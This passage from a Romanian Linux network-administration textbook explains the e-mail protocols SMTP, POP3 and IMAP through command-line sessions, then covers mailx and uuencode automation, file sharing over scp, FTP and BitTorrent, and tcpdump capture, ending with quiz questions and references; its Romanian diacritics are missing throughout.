9-4 Transmiterea unui mesaj Citirea unui mesaj nseamn parcurgerea sau extragerea acestuia din cadrul csuei potale, de obicei sub forma unui fiier n format mbox sau un director n format Maildir. Evident, cea mai simpl metod de citire a mesajului este folosirea unui viewer de fiiere. Astfel, folosirea comenzii cat pe un fiier de e-mail va afia mesajul complet (antet i mesaj). n cazul unui acces la sistemul de fiiere care stocheaz csua potal, acest tip de citire i acces poate fi foarte util pentru a permite prelucrarea mesajelor cu aplicaii dedicate pentru fiiere text, de exemplu aplicaii de tip NLP (Natural Language Processing). Pentru a evita folosirea unui viewer generic de text, se poate folosi un client de e-mail instalat local pe sistemul ce conine csua potal. Utilizatorul necesit accesul la un cont pe sistem i la sistemul de fiiere iar clientul de e-mail i va facilita interaciunea cu csua potal i cu mesaje de acolo. Mesajele pot fi marcate, mutate, terse prin intermediul clientului de e-mail. Metoda cea mai flexibil const n configurarea unui server POP3 sau IMAP pe sistemul ce stocheaz csua potal. POP3 (Post Office Protocol version 3) i IMAP (Internet Message Access Protocol) sunt protocoale pentru accesul la csua potal, descrise n seciunea urmtoare. Un client de e-mail (MUA) se va conecta la serverele POP3 i IMAP, se va autentifica, i va folosi facilitile furnizate de acestea pentru a citi i prelucra mesajele din csua potal. Avantaje folosirii unui server POP3 sau IMAP sunt: posibilitatea accesrii de pe orice sistem ce dispune de un client de e-mail; nu este nevoie de cont de acces la sistemul ce conine csua potal; autentificarea este delegat serverului POP3 sau IMAP; se pot opera configurri de funcionalitate sau de securitate pe server. Folosirea unui server IMAP este, n zilele noastre, forma uzual de acces, citire i prelucrare a mesajelor din csua potal. Simplificat, accesarea csuei potale printr-un server IMAP este descris n imaginea de mai jos.

9.5.3 Protocoale de e-mail


Dup cum a aprut descris i n seciunea anterioar, funcionarea serviciului de e-mail se bazeaz pe trei protocoale: SMTP (Simple Message Transfer Protocol), folosit pentru transferul mesajelor; att ntre MUA (client) i MTA (server) ct i ntre MTA-uri; POP3 (Post Office Protocol version 3), folosit pentru extragerea mesajelor din csua potal; IMAP (Internet Message Access Protocol), folosit pentru accesarea mesajelor din csua potal. Toate cele trei sunt protocoale text ce funcioneaz peste SMTP.

S e r v i c i i d e r e e a | 323 SMTP (RFC822) este protocolul de baz aferent serviciului de e-mail. Acesta permite interaciunea ntre MUA i MTA i ntre MTA-uri pentru transferul mesajelor. Protocolul nu are integrate faciliti de securitate (autentificare i criptare), acestea fiind asigurate de componente precum SASL (Simple Authentication and Security Layer) i SSL/TLS (Secure Sockets Layer / Transport Layer Security). Un exemplu de transmitere a unui mesaj folosind comenzi SMTP i netcat este prezentat mai jos:
razvan@einherjar:~$ netcat localhost 25 220 einherjar.cs.pub.ro ESMTP Postfix (Debian/GNU) MAIL FROM: razvan@einherjar.cs.pub.ro 250 2.1.0 Ok RCPT TO: razvan.deaconescu@cs.pub.ro 250 2.1.5 Ok DATA 354 End data with <CR><LF>.<CR><LF> Subject: [RL] SMTP test Salut! Acesta este un mesaj trimis in linia de comanda. Razvan . 250 2.0.0 Ok: queued as B46142016B3 QUIT 221 2.0.0 Bye

Comenzile MAIL FROM: i RCPT TO: stabilesc expeditorul i destinatarul, aa cum sunt descrise n plicul mesajului SMTP. Comanda DATA permite introducerea mesajului, nsemnnd att antetul ct i corpul acestuia. Pe serverul de e-mail se pot inspecta fiierele de jurnalizare pentru a verifica livrarea mesajului:
razvan@einherjar:~$ sudo tail /var/log/mail.log Oct 14 14:59:25 einherjar postfix/cleanup[1485]: id=<20121014115838.B46142016B3@einherjar.cs.pub.ro> B46142016B3: messageB46142016B3:

Oct 14 14:59:25 einherjar postfix/qmgr[311]: from=<razvan@einherjar.cs.pub.ro>, size=425, nrcpt=1 (queue active)

Oct 14 14:59:25 einherjar postfix/smtp[1562]: B46142016B3: to=<razvan.deaconescu@cs.pub.ro>, relay=mail.cs.pub.ro[141.85.227.3]:25, delay=59, delays=59/0.02/0.14/0.04, dsn=2.0.0, status=sent (250 2.0.0 Ok: queued as 6A2CA1A60773) Oct 14 14:59:25 einherjar postfix/qmgr[311]: B46142016B3: removed Oct 14 14:59:30 einherjar postfix/smtpd[1481]: disconnect from localhost[127.0.0.1]

O descriere pentru SMTP gsii n Linux Administration: A Beginner's Guide, 5th Edition[1], capitolul 19. POP3 i IMAP sunt protocoale folosite pentru citirea mesajelor. POP3 este un protocol pentru extragerea mesajelor (retrieval) i prelucrarea lor local; folosete portul TCP 110. IMAP, de cealalt parte, este un protocol pentru accesarea mesajelor adic IMAP permite gestiunea acestora direct pe server, folosind portul TCP 143. Avantajul principal al POP3 const n ncrcarea relativ redus a serverului; odat ce mesajele sunt copiate local, prelucrarea se face doar local. Avantajul principal al IMAP este flexibilitatea accesului. ntruct prelucrarea se face doar pe server, accesul din orice punct, cu orice client de e-mail, va duce la afiarea acelorai mesaje i prelucrarea lor n aceeai form. Dat fiind puterea de procesare ridicat a serverelor moderne, majoritatea utilizatorilor folosesc IMAP pentru accesarea csuei potale. POP3 i IMAP ofer autentificare pentru accesul la csua potal. De asemenea, pentru securitate sporit, serverele POP3 sau IMAP pot folosi SSL. Un exemplu de conectare IMAP, n linia de comand, folosind netcat, este prezentat mai jos:
razvan@einherjar:~$ telnet localhost imap Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE STARTTLS AUTH=PLAIN] Dovecot ready. a1 LOGIN razvan xxxxxxx a1 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS MULTIAPPEND UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS SPECIAL-USE] Logged in

324 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
a2 LIST "" "*" * LIST (\HasNoChildren) "/" "INBOX.catedra" * LIST (\HasNoChildren) "/" "INBOX.projects.lpic" * LIST (\HasNoChildren) "/" "INBOX.students" * LIST (\HasNoChildren) "/" "INBOX.school.mps" * LIST (\HasNoChildren) "/" "INBOX.professional" [...] a2 OK List completed. a3 EXAMINE INBOX * FLAGS (\Answered \Flagged \Deleted \Seen \Draft gnus-forward) * OK [PERMANENTFLAGS ()] Read-only mailbox. * 98 EXISTS * 0 RECENT * OK [UIDVALIDITY 1338531575] UIDs valid * OK [UIDNEXT 3576] Predicted next UID * OK [NOMODSEQ] No permanent modsequences a3 OK [READ-ONLY] Select completed. a4 LOGOUT * BYE Logging out a4 OK Logout completed.

Comenzile IMAP necesit o etichet de comand (tag). n listing-ul de mai sus aceste etichete au fost a1, a2, a3, a4. Comenzile IMAP folosite au fost LOGIN i LOGOUT pentru autentificare, respectiv deconectare, LIST pentru listarea coninutului i EXAMINE pentru examinarea unui director din csua potal. Informaii legate de folosirea IMAP n linia de comand pot fi cutate pe Internet29 . O descriere pentru POP3 i IMAP gsii n Linux Administration: A Beginner's Guide, 5th Edition[1], capitolul 20. Implementrile de protocoale SMTP, POP3 i IMAP se gsesc, n general, n clieni i servere de e-mail prezentate n seciunile urmtoare.

9.5.4 Servere de e-mail


Serverele de e-mail (MTA-urile) sunt principala component din cadrul serviciului de e-mail cu care interacioneaz inginerii i administratorii de reea. Pe lng funcionalitatea implicit de transmitere de mesaje, administratorii vor trebui s configureze faciliti de securitate, filtre antispam, interfee de acces web, module anti-virus i altele. Criteriile de alegere ale implementrilor software de servere de e-mail in de funcionalitile oferite, de uurina n configurare, securitate i experiena administratorului. Cele mai utilizate implementri30 sunt Exim, Postfix, Microsoft Exchange i Sendmail. Sendmail este cea mai veche implementare de MTA, fiind mult vreme cel mai folosit server de e-mail. Problemele de securitate frecvente i configurarea dificil (exista un singur server fiier de configurare) au condus la migrarea spre soluii precum Postfix sau Exim. Postfix a fost dezvoltat ca o soluie sigur la Sendmail. Arhitectura Postfix folosete multiple tehnici de securitate, conducnd la prezena mai multor procese, fiecare cu un rol dedicat. Coruperea unui proces nu va afecta funcionarea unui alt proces. Configurarea Postfix este facil, datorit mpririi configuraiei ntr-un set de fiiere i documentaiei existinse. Exim folosete principii de proiectare similare Sendmail, n care un singur binar controleaz ntreaga funcionare a serviciului. Facilitile de securitate ale Exim se bazeaz pe escaladarea i eliberarea de privilegii n cadrul codului, rezultnd intr-o reputaie foarte bun a acestuia. n momentul de fa Exim este cel mai folosit server de e-mail din Internet. Microsoft Exchange Server este soluia de server de e-mail de la Microsoft. Acesta cuprinde, pe lng faciliti de server de e-mail i server de calendar, contacte i task-uri. Microsoft Exchange Server este, n general, integrat cu alte soluii oferite de Microsoft precum Active Directory. Serverele de e-mail moderne ofer funcionaliti avansate, dincolo de livrarea mesajelor, precum: folosirea TLS (Transport Layer Security) pentru criptarea traficului, folosirea SASL (Simple Authentication and Security Layer), redirecionarea mesajelor (relaying), faciliti de transport gateway, suport pentru alias-uri, csue potale virtuale, domenii virtuale etc. n general, un administrator de reea va configura att faciliti de transfer de mesaje, ct i faciliti precum cele
29 30

De exemplu aici: http://wiki.mediatemple.net/w/Email_via_IMAP_using_Telnet http://www.securityspace.com/s_survey/data/man.201109/mxsurvey.html

S e r v i c i i d e r e e a | 325 de mai sus. Pe lng acestea exist module precum filtre de spam, software antivirus, mail filter (sau milter) care sunt configurate uzual lng MTA-uri. n acest fel, configurarea i ntreinerea unui MTA este o sarcin important care este influenat de deciziile de proiectare ale implementrii folosite.

9.5.5 Clieni de e-mail


Interaciunea utilizatorului cu serviciul de e-mail este asigurat de un client de e-mail sau MUA (Mail User Agent). n forma sa cea mai simpl, un client de e-mail permite transmiterea de mesaje (cu specificarea antetului i cmpului unui mesaj) i citirea acestora. Un client de e-mail implementeaz partea de client att pentru protocolul SMTP ct i pentru protocoalele POP3 i IMAP. Astfel de clieni sunt clienii tradiionali n lumea Unix, muli dintre care funcioneaz i n linia de comand: Mutt, Pine, Gnus. Interfaa de editor a acestora este, n general, asigurat de editoarele clasice n lumea Unix precum i Vim i Emacs. n zilele noastre, clienii de e-mail au cptat mai multe faciliti i, n general, au integrate componente precum client de calendar, client de task-uri i alte faciliti de organizare. Altfel de clieni poart denumirea de PIM Personal Information Manager. Exemple sunt Microsoft Outlook, Evolution i Mozilla Thunderbird. Pentru a beneficia de prevalena folosirii serviciului web, au aprut soluii de tip webmail. Acestea folosesc interfee web pentru a permite accesul la serviciul de e-mail (att SMTP ct i POP3). Astfel de aplicaii sunt SquirrelMail, Horde IMP sau Roundcube. Interfee similare sunt folosite de furnizorii de servicii de Internet n faciliti precum GMail, Yahoo! Mail sau Microsoft Live.

9.5.6 Utilizarea serviciului de e-mail pe Linux


Pe lng multitudinea de clieni grafici sau text de pe Linux, exist aplicaii prin care se poate interaciona, de multe ori automatizat, cu serviciul de e-mail. Automatizarea presupune absena interaciunii utilizatorului, util n special pentru notificri, atunci cnd execut anumite comenzi sau n momentul n care au loc anumite evenimente n sistem. Cea mai simpl form de interaciune cu serviciul de e-mail const n folosirea comenzii netcat sau a comenzii telnet pentru conectarea la serverul SMTP sau POP3 sau IMAP, aa cum a fost descris n Seciunea 9.5.3. Comanda netcat permite conectarea la portul aferent, fiind apoi furnizate comenzi SMTP, POP3 sau IMAP, beneficiind de faptul c aceste protocoale sunt protocoale text. Folosirea netcat nu permite o automatizare facil, ntruct este o comand interactiv. Automatizarea este dat de folosirea unei comenzi neinteractive. O astfel de comand este comanda mailx. Mai jos este prezentat un exemplu de folosire a comenzii mailx pentru trimiterea unui mesaj:
echo "Hello, World" | mailx -s "Test mail" dan@complex.ro

n exemplul de mai sus se trimite mesajul "Hello, World" cu subiectul "Test mail" ctre adresa de e-mail dan@complex.ro. Intrarea standard a comenzii mailx este coninutul mesajului. Acelai rezultat poate fi obinut fr folosirea comenzii echo, ca mai jos:
mailx -s "Test Mail" dan@complex.ro Hello, World Cc:

nchiderea intrrii standard, adic ncheierea mesajului, se face folosind combinaia pentru Endof-File pe Linux, CTRL+D. n urma apsrii acestei combinaii, utilizatorului i este solicitat, opional, introducerea unei adrese de tip CC (Carbon Copy). Mai sus nu s-a dorit o astfel de adres i s-a apsat tasta Enter. Comanda mailx, rulat fr parametri, permite citirea de mesaje din csua potal implicit a utilizatorului (/var/mail/<username>). Adic poate fi folosit i pentru citirea de mesaje, dar nu interacioneaz cu server de POP3 sau IMAP. n spate, comanda mailx apeleaz interfaa de trimitere de mesaje a MTA-ului. n mod tradiional, aceasta este sendmail. Interfaa sendmail poate fi folosit ca o comand de sine

326 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e stttoare, dar, n general, se prefer transmiterea de opiuni specifice sendmail ctre comanda mailx. Un caz de utilizare a opiunilor de sendmail n mailx este specificarea expeditorului mesajului. Comanda mailx folosete n mod implicit numele utilizatorului curent i numele de domeniu configurat n MTA. Dac, spre exemplu, utilizatorul ana, de pe staia mx.elementar.ro, trimite un mesaj, acesta va avea ca expeditor ana@elementar.ro. Dac se dorete ca expeditorul s fie ana.ionescu@new-element.ro, se va folosi o comand de forma:
mailx -s "Test Mail" -- -r ana.ionescu@new-element.ro dan@complex.ro

Opiunea permite transmiterea de opiuni ctre sendmail. Opiunea -r ana.ionescu@newelement.ro precizeaz sendmail ca expeditorul mesajului s fie marcat ca fiind aceast adres. Alte opiuni pot fi consultate n pagina de manual a comenzii sendmail. Un scenariu aparte este transferul de mesaje cu ataamente n form automatizat. Pentru aceasta trebuie folosit comanda uuencode iar rezultatul comenzii trebuie preluat de comanda mailx pentru transfer. uuencode codifc un fiier binar ntr-un format compatibil cu MIME. O form uzual de utilizare a comenzii uuencode este urmtorea:
razvan@swarm:~$ file linux linux: Linux kernel x86 boot executable bzImage, version 3.1.6udpcast (alain@hitchhiker), RO-rootFS, Normal VGA razvan@swarm:~$ uuencode linux linux-image-udpcast > linux.enc razvan@swarm:~$ file linux.enc linux.enc: uuencoded or xxencoded text

n exemplul de mai sus a fost codat fiierul linux, un fiier imagine de kernel linux. Fiierul codificat este linux.enc. Comanda uuencode primete dou argumente: fiierul de codificat i numele fiierului aa cum va fi el vzut la destinaie; n exemplul de mai sus, aceste dou argumente au fost linux i linux-image-udpacast. Comanda file, indicat mai sus, afieaz tipul fiierului nainte i dup codificare. Uuencode poate primi i un singur argument, fiierul aa cum va fi vzut la ieire, caz n care va codifica informaiile de la intrarea standard, ca n exemplul de mai jos:
razvan@swarm:~$ cat linux | uuencode linux-image-udpcast > linux.enc

Pentru livrarea unui mesaj, ieirea comenzii uuencode trebuie transmis mailx. Un exemplu este prezentat mai jos:
uuencode linux linux-image-udpcast | mailx -s "UDP Cast Linux" razvan@rosedu.org

Prin folosirea comenzilor mailx i uuencode, un utilizator avansat poate automatiza procesul de trimitere a mesajelor prin serviciul de e-mail. Motivele in de nevoie de informare i de notificare pentru aciuni sau evenimente ce au au avut loc n cadrul sistemului.

9.6 Scenarii de utilizare a serviciilor de reea


Clienii de servicii de reea pot fi folosii n diverse situaii, depinznd de nevoile utilizatorilui i administratorului. Un obiectiv important n folosirea clienilor n linia de comand l constituie posibilitatea de automatizare. Altele sunt rapididatea executrii comenzilor i interfaa universal asigurat de linia de comand. n continuare sunt prezentate cteva exemple uzuale de folosire a clienilor de reea n Linux.

9.6.1 Upload prin SSH i descrcare prin HTTP


Modul simplu i uzual n care se public un fiier este ncrcarea acestuia folosind FTP sau SSH i apoi furnizarea unui link folosind HTTP. Dac un utilizator are un cont pe un sistem Unix, atunci poate folosi SSH pentru ncrcarea unui fiier. Altfel, va folosi FTP. n general, pentru a fi disponibil prin interfa web, fiierul va trebui ncrcat n directorul public_html/ de la distan. Pentru upload-ul unui fiier folosind SSH, se folosete o comand precum cea de mai jos:

S e r v i c i i d e r e e a | 327
razvan@einherjar:~$ scp curs-03.pdf razvan@swarm.cs.pub.ro:public_html/ curs-03.pdf 100% 1673KB 1.6MB/s 00:00

n urma rulrii comenzii de mai sus, fiierul curs-03.pdf este ncrcat n cadrul fiierul public_html/ aflat la distan, n cadrul contului razvan de pe swarm.cs.pub.ro. Fiierul este acum disponibil la URL-ul http://swarm.cs.pub.ro/~razvan/curs-03.pdf. Pentru descrcarea acestuia, se poate folosi wget, la fel ca mai jos:
rl@elf:~$ wget -o /dev/null http://swarm.cs.pub.ro/~razvan/curs-03.pdf rl@elf:~$ ls curs-03.pdf curs-03.pdf

Comanda wget este folosit pentru descrcarea fiierului curs-3.pdf de la URL-ul aferent. Opiunea -o a wget este folosit pentru redirectarea ieirii de eroare standard la /dev/null, adic eliminarea acesteia. Ieirea de eroare standard pentru wget ofer informaii de evoluie a procesului de descrcare.

9.6.2 Transmiterea unei resurse prin email automat


n cadrul exemplului din seciunea anterioar cu uuencode i mailx, se trimite, ca ataament, imaginea de Linux la adresa razvan@rosedu.org. Evident, problema este c se trimite un mesaj fr coninut. Dac se dorete att un mesaj ct i un ataament, forma uzual este:
(echo -e 'Salut!\n\nIata imaginea Linux.\n\nRazvan'; uuencode linux linux-image-udpcast) | mailx -s "UDP Cast Linux" razvan@rosedu.org

n comanda de mai sus se trimite att mesajul specificat cu echo, ct i imagina de Linux procesat de uuencode ctre adresa razvan@rosedu.org. n cadrul acestei comenzi se folosete comanda echo pentru a afia un mesaj i concatenarea ei la comanda uuencode folosind operatorul ; (punct i virgul) i parantezele. Ieirea concatenat a celor dou comenzi, reprezentnd corpul mesajului este apoi trecut prin comanda mailx care face livrarea destinatarului. Dac se parcurge un mesaj n modul brut, prin accesarea fiierului mesaj, se poate obine ataamentul n format codificat. Presupunnd stocarea acestui ataament ntr-un fiier denumit attachment.enc, se poate folosi comand uudecode pentru decodificarea acestuia, la fel mai jos:
uudecode -o real-attachment attachment.enc

Opiunea -o permite precizarea fiierul decodificat, n comanda de mai sus real-attachment.

9.6.3 Captura mesajelor SMTP


Pentru a putea vizualiza modul n care sunt transmise mesajele SMTP se poate folosi comanda tcpdump, comand care captureaz transferul de pachete pe interfaa sistemului. Mai jos este prezentat comanda de captur i o selecia a rezultatului ntors de aceasta pentru un mesaj SMTP aa cum este cel prezentat n Seciunea 9.5.3.
razvan@einherjar:~$ sudo tcpdump -A -i lo tcp port smtp 22:18:04.937195 IP localhost.37075 > localhost.smtp: Flags [S], seq 3503352078, win 32792, options [mss 16396,sackOK,TS val 1829112 ecr 0,nop,wscale 7], length 0 E..<..@.@.:..........................0....@.... ............ 22:18:04.937227 IP localhost.smtp > localhost.37075: Flags [S.], seq 591321035, ack 3503352079, win 32768, options [mss 16396,sackOK,TS val 1829112 ecr 1829112,nop,wscale 7], length 0 E..<..@.@.<.............#>...........0....@.... ............ 22:18:04.937251 IP localhost.37075 > localhost.smtp: Flags [.], ack 1, win 257, options [nop,nop,TS val 1829112 ecr 1829112], length 0 E..4..@.@.:.................#>.......(..... ........ 22:18:04.937834 IP localhost.smtp > localhost.37075: Flags [P.], seq 1:53, ack 1, win 256, options [nop,nop,TS val 1829113 ecr 1829112], length 52 E..h?4@.@..Y............#>...........\.....

328 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
........220 einherjar.cs.pub.ro ESMTP Postfix (Debian/GNU) 22:18:28.363397 IP localhost.37075 > localhost.smtp: Flags [P.], seq 1:39, ack 53, win 257, options [nop,nop,TS val 1834969 ecr 1829113], length 38 E..Z..@.@.:.................#>.......N..... ........MAIL FROM: razvan@einherjar.cs.pub.ro 22:18:28.363432 IP localhost.smtp > localhost.37075: Flags [.], ack 39, win 256, options [nop,nop,TS val 1834969 ecr 1834969], length 0 E..4?5@.@...............#>.....5.....(..... ........ 22:18:28.367832 IP localhost.smtp > localhost.37075: Flags [P.], seq 53:67, ack 39, win 256, options [nop,nop,TS val 1834970 ecr 1834969], length 14 E..B?6@.@..}............#>.....5.....6..... ........250 2.1.0 Ok 22:18:47.689582 IP localhost.37075 > localhost.smtp: Flags [P.], seq 76:81, ack 81, win 257, options [nop,nop,TS val 1839801 ecr 1839214], length 5 E..9..@.@.:................Z#>.......-..... .......nDATA 22:18:47.689752 IP localhost.smtp > localhost.37075: Flags [P.], seq 81:118, ack 81, win 256, options [nop,nop,TS val 1839801 ecr 1839801], length 37 E..Y?8@.@..d............#>....._.....M..... ........354 End data with <CR><LF>.<CR><LF>

Comanda tcpdump captureaz mesajele TCP de tipul SMTP transferate pe interfaa local (loopback). Opiunea -A permite vizualizarea coninutului pachetelor, util pentru mesaje text precum cele folosite de protocolul SMTP. Secvenele de mai sus reprezint: partea de conectare la serverul SMTP mpreun cu banner-ul furnizat de acesta; transmiterea comenzii SMTP MAIL FROM mpreun cu rspunsul la aceasta (250 OK); transmiterea comenzii SMTP DATA mpreun cu rspunsul de la aceasta. Aceste informaii pot fi vizualizate n format grafic ntr-un utilitar precum Wireshark.

9.7 Studiu de caz


9.7.1 Serviciul FTP
FTP (File Transfer Protocol) este, mpreun cu serviciul de e-mail, unul dintre cele mai vechi protocoale din Internet. La nceputul anilor 90, FTP a dominat Internetul pn la proliferarea HTTP. Dei HTTP rmne unul dintre cele mai folosite protocoale din Internet, FTP i menine utilitatea n rndul furnizorilor de servicii de hosting pe dou motive: furnizeaz facilitate de upload, spre deosebire de HTTP; permite upload-ul fr a fi nevoie de un cont Unix i de acces la shell, spre deosebire de SSH; acest lucru nseamn securitate sporit prin ngrdirea aciunilor posibile pe care le poate realiza utilizatoru. Pentru descrcarea fiierelor, n cazul n acestea sunt publice, HTTP rmne, probabil, cea mai folosit soluie. Descrcarea de fiiere private poate fi realizat prin FTP, prin furnizarea credenialelor necesare. n cazul n care utilizatorul are acces la un cont Unix, SSH (de fapt comanda scp) este preferat folosirii FTP ntruct este mai rapid de rulat comanda aferent. Un client ftp este, n general, neinteractiv i necesit rularea mai multor comenzi FTP pentru upload, n comparaie cu o singur comand SSH. De principiu, un server FTP mapeaz un nume de utilizator pe o subierarhie din sistemul local de fiiere pe care acesta o poate accesa. ntruct accesul de tip upload va nsemna acces la sistemul de fiiere acesta trebuie realizat chibzuit i impuse limitri. Astfel, doar o parte din conturile de utilizatori FTP vor putea uploada fiiere, restul rmnnd read-only. Serverele FTP ofer faciliti de tip chroot care s ngrdeasc accesul utilizatorilor doar la sistemul local de fiiere.

S e r v i c i i d e r e e a | 329 n mod tipic, un server FTP va dispune de un director public, accesibil tuturor utilizatorilor. Pentru accesarea acestuia, se folosete, n mod generic, utilizatorul anonymous, utilizator al crui acces este permis la directorul public, n mod read-only, indiferent de parola furnizat. Exemple de servere FTP sunt vsftpd, Pure-FTPd, ProFTPD, Microsoft IIS, Filezilla. n general, browserele moderne integreaz faciliti de client FTP. Browserele de fiiere din sistemele de operare actuale ofer, de asemenea, faciliti de client FTP. Clieni stand-alone sunt aplicaii precum gFTP, Total Commander, Filezilla Client. Utilitarul curl i biblioteca libcurl ofer faciliti pentru transferul FTP. Un exemplu de client FTP este ncftp. Mai jos este un exemplu de folosire a ncftp pentru upload-ul unui fiier:
razvan@einherjar:~$ ncftp -u razvan -p xxxxx swarm.cs.pub.ro NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/). Connecting to 141.85.227.118... (vsFTPd 2.3.2) Logging in... Login successful. Logged in to swarm.cs.pub.ro. ncftp / > put lpm.tgz lpm.tgz: 23.98 MB 10.56 MB/s

n exemplul de mai sus, utilizatorul razvan se autentifica la statia swarm.cs.pub.ro i apoi folosete comanda put pentru upload-ul fiierului pe server. Serverul ofer informaie statistic despre transferul realizat.

9.7.2 Distribuirea unui fisier prin BitTorrent


BitTorrent este protocolul preferat pentru distribuia fiierelor de mari dimensiuni. Un protocol de tip Peer-to-Peer, BitTorrent distribuie ncrcarea legturilor de reea ntre toi peerii prezeni n cadrul unui swarm. BitTorrent se bazeaz pe existena unui tracker, instan centralizat, care gestioneaz lista de peeri i piesele deinute de fiecare. Pentru distribuirea unui fiier anume, posesorul fiierului i iniiatorul transferului (denumit initial seeder) creeaz un fiier cu metainformaii (denumit fiier .torrent) i apoi distribuie acest fiier celorlai peeri, de obicei prin intermediul unui server web. Pornind de la fiierul .torrent, ceilali peeri conteaz iniiatorul transferului i apoi ali peeri (prin intermediul tracker-ului). Pentru realizarea acestor operaii din linia de comand, se poate folosi pachetul bittornado. Acesta conine aplicaiile necesare pentru crearea fiierului .torrrent i pornirea seeder-ului iniial i al peer-ilor. Paii urmai, descrii anterior, sunt: 1. crearea fiierului .torrent, pe seeder:
razvan@swarm:~$ btmakemetafile http://elf.cs.pub.ro:6969/announce lpm.tgz razvan@swarm:~$ ls -l lpm* -rw------- 1 razvan users 25145155 Oct 12 12:01 lpm.tgz -rw-r--r-- 1 razvan users 3994 Oct 15 23:20 lpm.tgz.torrent

Fiierul .torrent creat deine informaii despre fiierul de transfer (lpm.tgz) i URL-ul trackerului. URL-ul tracker-ului este transmis ca argument comenzii btmakemetafile cu ajutorul creia se creeaz fiierul. 2. porirea seeder-ului iniial are loc, n cazul simplu, n directorul n care se gsesc att fiierul de transferat ct i fiierul .torrent; se folosete comanda btdownloadheadless:
razvan@swarm:~$ btdownloadheadless lpm.tgz.torrent saving: percent done: time left: download to: [...] lpm.tgz (24.0 MB) 0.0 checking existing data /home/razvan/lpm.tgz

3. o dat pornit seederul, fiierul .torrent trebuie publicat pentru acces uor din partea peerilor; n general, distribuia acestuia se face prin intermediul unui server web:
razvan@swarm:~$ cp lpm.tgz.torrent public_html/

330 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

rl@elf:~$ wget -o /dev/null http://swarm.cs.pub.ro/~razvan/lpm.tgz.torrent

Prima comand, rulat pe staia seeder-ului iniial, copiaz fiierul .torrent n locul mapat unui URL. A doua comand obine, pe staia unui peer, fiierul .torrent. 4. o dat obinut fiierul .torrent pe o staie de peer, acesta va folosi tot comanda btdownloadheadless pentru a porni un client BitTorrent (de tip leecher) i a obine fiierul, eventual s ajute ali peeri la transferul su:
rl@elf:~$ btdownloadheadless lpm.tgz.torrent

n general, aceast schem devine util n cazul fiierelor cu dimensiuni mari i n cazul unui numr mare de peeri. n aceste situaii, protocolul BitTorrent este protocolul ideal prin distribuia ncrcrii legturilor de reea i a sistemelor de calcul din cadrul unui swarm.

9.8 Sumar de comenzi i fiiere


9.8.1 Linux
Comand host /etc/resolv.conf /etc/nsswitch.conf /etc/hosts wget curl netcat mailx sendmail uuencode/uudecode Descriere utilitar de interogare DNS fiier de configurare a serverului/serverelor de nume pe un sistem Linux fiier pentru configurarea bazelor de date folosite pentru maparea de nume, mpreun cu ordinea de parcurgere a acestora fiier de configurare static a maprii ntre nume i adrese IP utilitar CLI neinteractiv pentru descrcarea paginilor web utilitar pentru accesarea URL-urilor pentru diverse protocoale; folosete biblioteca libcurl utilitar generic pentru realizarea de conexiuni i transferuri TCP sau UDP utilitar pentru transmiterea de mesaje n linia de comand, cu posibilitatea de automatizare utilitar back-end aferent MTA pentru transmiterea unui mesaj utilitare pentru codificarea i decodificarea mesajelor n format ASCII compatibil MIME

S e r v i c i i d e r e e a | 331

9.9 ntrebri
1. Un client DNS trimite serverului DNS cereri ... i primete rspunsuri ... (alegei toate variantele care se potrivesc): Nerecursive, autoritare Nerecursive, neautoritare Recursive, autoritare Recursive, neautoritare 2. Care afirmaii sunt adevrate n ceea ce privete sistemul de pot electronic? SMTP este protocolul utilizat ntre MTA (Mail Transfer Agent). SMTP este protocolul utilizat de ctre o aplicaie de tip MUA (Mail User Agent) pentru a transfera mesajele de pe server. SMTP utilizeaz portul 25. SMTP nu este folosit pentru pot electronic. 3. Protocolul IMAP permite (alegei 2 variante): Gestiunea offline a mesajelor. Structurarea pe directoare a mesajelor. Transferul de mesaje ntre MTA (Mail Transfer Agent). Accesarea doar a unei singure csue potale la un moment dat.

4. Care sunt porturile utilizate implicit de protocoalele HTTP, respectiv HTTPS? (alegei dou rspunsuri): 80 143 443 8080 5. Care dintre urmtoarele porturi NU este asociat serviciilor de e-mail? 53 993 25 587

332 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

9.10 Referine
[1] Wale Soyinka. Linux Administration: A Beginner's Guide, 5th Edition. McGraw Hill, 2009 [2] Tony Bautts, Terry Dawson, Gregor Purdy. Linux Network Administrator's Guide, 3rd Edition. O'Reilly, 2005 [3] Ronald Aitchinson. Pro DNS and Bind. Apress, 2005 [4] Evi Nemeth, Garth Snyder, Trent Hein, Ben Whaley. Unix and Linux System Administration Handbook, 4th Edition. Prentice Hall, 2010 [5] RFC 1034 (DOMAIN NAMES - CONCEPTS AND FACILITIES) http://www.ietf.org/rfc/rfc1034.txt [15.10.12] [6] RFC 1035 (DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION) http://www.ietf.org/rfc/rfc1035.txt [15.10.12] [7] RFC 5321 (SMTP) http://www.ietf.org/rfc/rfc5321.txt [15.10.12] [8] RFC 3501 (IMAP) http://www.ietf.org/rfc/rfc3501.txt [15.10.12] [9] RFC 1939 (POP3) http://www.ietf.org/rfc/rfc1939.txt [15.10.12] [10] RFC 2616 (HTTP) http://www.ietf.org/rfc/rfc2616.txt [15.10.12] [11] Richard Stevens Unix Network Programming

P a g e | 333

10 Wireless
